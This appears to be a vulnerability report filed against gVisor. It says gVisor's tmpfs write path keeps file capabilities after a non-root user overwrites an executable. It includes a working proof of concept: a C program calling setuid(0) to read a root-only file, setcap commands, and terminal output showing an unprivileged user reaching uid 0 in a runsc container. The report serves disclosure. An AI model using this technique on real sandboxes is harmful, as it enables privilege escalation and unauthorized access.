Description
Description
gVisor preserves file capabilities on a writable executable after a non-root rewrite on the writable executable. Linux drops file privilege on this mutation. Under gVisor, an unprivileged user can rewrite the file's contents and then execute it with the retained file capability (which enables setuid(0)), gaining root inside the sandbox.
- Affected version:
Root cause
- In
pkg/sentry/fsimpl/tmpfs/regular_file.go, the function pwrite only does ClearSUIDAndSGID but not security.capability
rw := getRegularFileReadWriter(f, offset, pgalloc.MemoryCgroupIDFromContext(ctx))
n, err := src.CopyInTo(ctx, rw)
f.inode.touchCMtimeLocked()
for {
old := f.inode.mode.Load()
new := vfs.ClearSUIDAndSGID(old)
if swapped := f.inode.mode.CompareAndSwap(old, new); swapped {
break
}
}
putRegularFileReadWriter(rw)
Steps to reproduce
Linux behavior
- In Linux, when an executable is overwritten by a low privileged user, it should lose capabilities.
- On a Linux machine, we can create two binaries:
normal, which is a legit executable, and evil, which is a malicious one. Also, we create a secret.txt file, which is readable for root only
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat evil.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main(void) {
char buf[128] = {0};
printf("before uid=%d euid=%d\n", getuid(), geteuid());
if (setuid(0) != 0) perror("setuid");
printf("after uid=%d euid=%d\n", getuid(), geteuid());
int fd = open("secret.txt", O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
read(fd, buf, sizeof(buf) - 1);
puts(buf);
return 0;
}
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat normal.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
printf("before uid=%d euid=%d\n", getuid(), geteuid());
return 0;
}
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat secret.txt
flag{gvisor}
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ls -l secret.txt
-rwx------ 1 root root 13 Apr 5 19:17 secret.txt
- After that, we set
normal to be writable and executable, and also set capability for it
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ls -l normal
-rwxrwxrwx 1 anhvuleduc anhvuleduc 16304 Apr 5 21:29 normal
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ sudo setcap cap_setuid+ep normal
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ getcap normal
normal cap_setuid=ep
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ./normal
before uid=1000 euid=1000
- After that, we overwrite
normal by evil, which should remove its capability
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ cat evil > normal
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ getcap normal
┌──(anhvuleduc㉿DESKTOP-F1FK3E1)-[~/Downloads/gvisor/pocs]
└─$ ./normal
before uid=1000 euid=1000
setuid: Operation not permitted
after uid=1000 euid=1000
open: Permission denied
gVisor behavior
- First, we start a Docker container with
runsc runtime with docker run --runtime=runsc --rm -it ubuntu /bin/bash
- We then set up similarly to the above (note that we need to install
gcc for compiling, and libcap2-bin for setcap)
root@ea7337b0cd6b:/# cat evil.c
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
int main(void) {
char buf[128] = {0};
printf("before uid=%d euid=%d\n", getuid(), geteuid());
if (setuid(0) != 0) perror("setuid");
printf("after uid=%d euid=%d\n", getuid(), geteuid());
int fd = open("secret.txt", O_RDONLY);
if (fd < 0) { perror("open"); return 1; }
read(fd, buf, sizeof(buf) - 1);
puts(buf);
return 0;
}
root@ea7337b0cd6b:/# cat normal.c
#include <stdio.h>
#include <unistd.h>
int main(void) {
printf("before uid=%d euid=%d\n", getuid(), geteuid());
return 0;
}
root@ea7337b0cd6b:/# cat secret.txt
flag{gvisor}
root@ea7337b0cd6b:/# ls -l secret.txt
-rwx------ 1 root root 13 Apr 5 14:45 secret.txt
root@ea7337b0cd6b:/# ls -l normal
-rwxrwxrwx 1 root root 16048 Apr 5 14:44 normal
root@ea7337b0cd6b:/# setcap cap_setuid+ep normal
root@ea7337b0cd6b:/# getcap normal
normal cap_setuid=ep
- After that, by overwriting
normal by evil, the low privileged user can gain root access since gVisor does not clear capability after mutation of the file
root@ea7337b0cd6b:/# su user1
$ id
uid=1001(user1) gid=1001(user1) groups=1001(user1)
$ cat evil > normal
$ getcap normal
normal cap_setuid=ep
$ ./normal
before uid=1001 euid=1001
after uid=0 euid=0
flag{gvisor}
runsc version
runsc version release-20260427.0
docker version (if using docker)
Client:
Version: 27.5.1+dfsg4
API version: 1.47
Go version: go1.24.9
Git commit: cab968b3
Built: Thu Nov 6 10:43:49 2025
OS/Arch: linux/amd64
Context: default
Server:
Engine:
Version: 27.5.1+dfsg4
API version: 1.47 (minimum version 1.24)
Go version: go1.24.9
Git commit: 61416484
Built: Thu Nov 6 10:43:49 2025
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.7.24~ds1
GitCommit: 1.7.24~ds1-10
runc:
Version: 1.3.3+ds1
GitCommit: 1.3.3+ds1-2
docker-init:
Version: 0.19.0
GitCommit:
uname
Linux DESKTOP-LBURQ6K 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux
kubectl (if using Kubernetes)
repo state (if built from source)
No response
runsc debug logs (if available)
Description
Description
gVisorpreserves file capabilities on a writable executable after a non-root rewrite on the writable executable. Linux drops file privilege on this mutation. UndergVisor, an unprivileged user can rewrite the file's contents and then execute it with the retained file capability (which enablessetuid(0)), gaining root inside the sandbox.Root cause
pkg/sentry/fsimpl/tmpfs/regular_file.go, the functionpwriteonly doesClearSUIDAndSGIDbut notsecurity.capabilitySteps to reproduce
Linux behavior
normal, which is a legit executable, andevil, which is a malicious one. Also, we create asecret.txtfile, which is readable for root onlynormalto be writable and executable, and also set capability for itnormalbyevil, which should remove its capabilitygVisorbehaviorrunscruntime withdocker run --runtime=runsc --rm -it ubuntu /bin/bashgccfor compiling, andlibcap2-binforsetcap)normalbyevil, the low privileged user can gain root access sincegVisordoes not clear capability after mutation of the filerunsc version
docker version (if using docker)
Client: Version: 27.5.1+dfsg4 API version: 1.47 Go version: go1.24.9 Git commit: cab968b3 Built: Thu Nov 6 10:43:49 2025 OS/Arch: linux/amd64 Context: default Server: Engine: Version: 27.5.1+dfsg4 API version: 1.47 (minimum version 1.24) Go version: go1.24.9 Git commit: 61416484 Built: Thu Nov 6 10:43:49 2025 OS/Arch: linux/amd64 Experimental: false containerd: Version: 1.7.24~ds1 GitCommit: 1.7.24~ds1-10 runc: Version: 1.3.3+ds1 GitCommit: 1.3.3+ds1-2 docker-init: Version: 0.19.0 GitCommit:uname
Linux DESKTOP-LBURQ6K 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun 5 18:30:46 UTC 2025 x86_64 GNU/Linux
kubectl (if using Kubernetes)
repo state (if built from source)
No response
runsc debug logs (if available)